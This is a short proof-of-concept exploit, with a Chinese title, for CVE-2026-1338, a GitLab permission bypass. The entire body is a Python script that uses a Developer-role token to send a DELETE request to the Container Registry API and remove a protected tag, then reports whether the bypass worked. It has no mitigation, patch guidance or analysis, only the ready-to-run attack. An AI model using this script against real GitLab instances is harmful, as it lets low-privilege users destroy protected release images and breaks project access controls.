CVE-2026-1338 GitLab 权限绕过致删除受保护标签漏洞

import requests # Configuration # Target GitLab instance URL BASE_URL = "https://gitlab.target.com" # Project ID PROJECT_ID = "123" # Repository ID within the Container Registry REPOSITORY_ID = "456" # The name of the protected tag to delete TAG_NAME = "v1.0.0" # Personal Access Token of a user with Developer role TOKEN = "glpat-xxxxxxxxxxxxxxxxxxxx" # Construct the API endpoint for deleting a tag # Reference: GitLab Container Registry API url = f"{BASE_URL}/api/v4/projects/{PROJECT_ID}/registry/repositories/{REPOSITORY_ID}/tags/{TAG_NAME}" headers = { "PRIVATE-TOKEN": TOKEN } print(f"Attempting to delete protected tag: {TAG_NAME}...") # Send the DELETE request response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Success: Protected tag deleted.") elif response.status_code == 403: print("[-] Failed: Permission denied (Exploit failed or patch applied).") elif response.status_code == 404: print("[-] Failed: Resource not found.") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text)